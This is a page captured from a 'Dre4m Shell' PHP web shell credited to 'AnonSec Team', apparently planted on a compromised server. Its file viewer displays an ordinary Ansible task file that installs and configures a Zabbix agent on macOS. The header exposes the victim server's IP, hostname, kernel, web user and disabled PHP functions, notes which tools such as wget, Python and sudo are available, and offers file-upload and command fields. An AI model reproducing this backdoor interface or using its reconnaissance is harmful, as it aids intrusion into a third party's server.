Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.220.194.29
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/zabbix/roles/zabbix_agent/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/zabbix/roles/zabbix_agent/tasks/Darwin.yml
---

- name: "Set default ip address for zabbix_agent_ip"
  set_fact:
    zabbix_agent_ip: "{{ hostvars[inventory_hostname]['ansible_default_ipv4'].address }}"
  when:
    - zabbix_agent_ip is not defined
    - "'ansible_default_ipv4' in hostvars[inventory_hostname]"

- name: "Get Total Private IP Addresses"
  set_fact:
    total_private_ip_addresses: "{{ ansible_all_ipv4_addresses | ansible.netcommon.ipaddr('private') | length }}"
  when:
    - ansible_all_ipv4_addresses is defined

- name: "Set first public ip address for zabbix_agent_ip"
  set_fact:
    zabbix_agent_ip: "{{ ansible_all_ipv4_addresses | ansible.netcommon.ipaddr('public') | first }}"
    zabbix_agent_server: "{{ zabbix_agent_server_public_ip | default(zabbix_agent_server) }}"
    zabbix_agent_serveractive: "{{ zabbix_agent_serveractive_public_ip | default(zabbix_agent_serveractive) }}"
    zabbix_agent2_server: "{{ zabbix_agent_server_public_ip | default(zabbix_agent2_server) }}"
    zabbix_agent2_serveractive: "{{ zabbix_agent_serveractive_public_ip | default(zabbix_agent2_serveractive) }}"
  when:
    - zabbix_agent_ip is not defined
    - total_private_ip_addresses is defined
    - total_private_ip_addresses == '0'

- name: "Set first private ip address for zabbix_agent_ip"
  set_fact:
    zabbix_agent_ip: "{{ ansible_all_ipv4_addresses | ansible.netcommon.ipaddr('private') | first }}"
  when:
    - zabbix_agent_ip is not defined
    - total_private_ip_addresses is defined
    - total_private_ip_addresses != '0'

- name: "Fail invalid specified agent_listeninterface"
  fail:
    msg: "The specified network interface does not exist"
  when:
    - zabbix_agent_listeninterface
    - (zabbix_agent_listeninterface not in ansible_all_ipv4_addresses)
  tags:
    - zabbix-agent
    - config

- name: "Set network interface"
  set_fact:
    network_interface: ansible_{{ zabbix_agent_listeninterface }}
  when:
    - zabbix_agent_listeninterface
    - not zabbix_agent_listenip

- name: "Get IP of agent_listeninterface when no agent_listenip specified"
  set_fact:
    zabbix_agent_listenip: "{{ hostvars[inventory_hostname][network_interface]['ipv4'].address | default('0.0.0.0') }}"
    zabbix_agent_ip: "{{ hostvars[inventory_hostname][network_interface]['ipv4'].address | default('0.0.0.0') }}"
  when:
    - zabbix_agent_listeninterface
    - not zabbix_agent_listenip
  tags:
    - zabbix-agent
    - config
    - api

- name: "Default agent_listenip to all when not specified"
  set_fact:
    zabbix_agent_listenip: '0.0.0.0'
  when:
    - not zabbix_agent_listenip
  tags:
    - zabbix-agent
    - config

- name: "Fail invalid specified agent_listenip"
  fail:
    msg: "The agent_listenip does not exist"
  when:
    - zabbix_agent_listenip != '0.0.0.0'
    - zabbix_agent_listenip != '127.0.0.1'
    - (zabbix_agent_listenip not in ansible_all_ipv4_addresses)
  tags:
    - zabbix-agent
    - config

- name: "Installing Agent"
  include_tasks: macOS.yml
  tags:
    - always

- name: "Configure zabbix-agent"
  template:
    src: zabbix_agentd.conf.j2
    dest: "/usr/local/etc/zabbix/{{ zabbix_agent_conf }}"
    owner: zabbix
    group: wheel
    mode: 0644
  notify:
    - restart mac zabbix agent
  become: true
  when:
    - not (zabbix_agent_docker | bool)
  tags:
    - zabbix-agent
    - config
    - init

- name: "Create directory for PSK file if not exist."
  file:
    path: "{{ zabbix_agent_tlspskfile | dirname }}"
    mode: 0755
    state: directory
  become: true
  when:
    - zabbix_agent_tlspskfile is defined

- name: "Place TLS PSK File"
  copy:
    dest: "{{ zabbix_agent_tlspskfile }}"
    content: "{{ zabbix_agent_tlspsk_secret }}"
    owner: zabbix
    group: zabbix
    mode: 0400
  become: true
  when:
    - zabbix_agent_tlspskfile is defined
    - zabbix_agent_tlspsk_secret is defined
  notify:
    - restart mac zabbix agent

- name: "Create include dir zabbix-agent"
  file:
    path: "{{ zabbix_agent_include }}"
    owner: zabbix
    group: zabbix
    mode: 0750
    state: directory
  become: true
  tags:
    - config
    - include

- name: "Create pid file directory for zabbix-agent"
  file:
    path: /var/run/zabbix
    state: directory
    owner: zabbix
    group: zabbix
    mode: 0755
  become: true

- name: "Install the Docker container"
  include_tasks: Docker.yml
  when:
    - zabbix_agent_docker | bool

- name: "Check if zabbix-agent service is running"
  shell: |
    set -o pipefail
    launchctl list | grep com.zabbix.zabbix_agentd | awk '{print $1}'
  register: launchctl_pid
  check_mode: false
  changed_when: false
  failed_when: launchctl_pid.rc == 2
  become: true
  tags:
    - init
    - service

- name: "Make sure the zabbix-agent service is running"
  command: launchctl start com.zabbix.zabbix_agentd
  become: true
  when:
    - not (zabbix_agent_docker | bool)
    - launchctl_pid.stdout == "-"
  tags:
    - init
    - service

Anon7 - 2022
AnonSec Team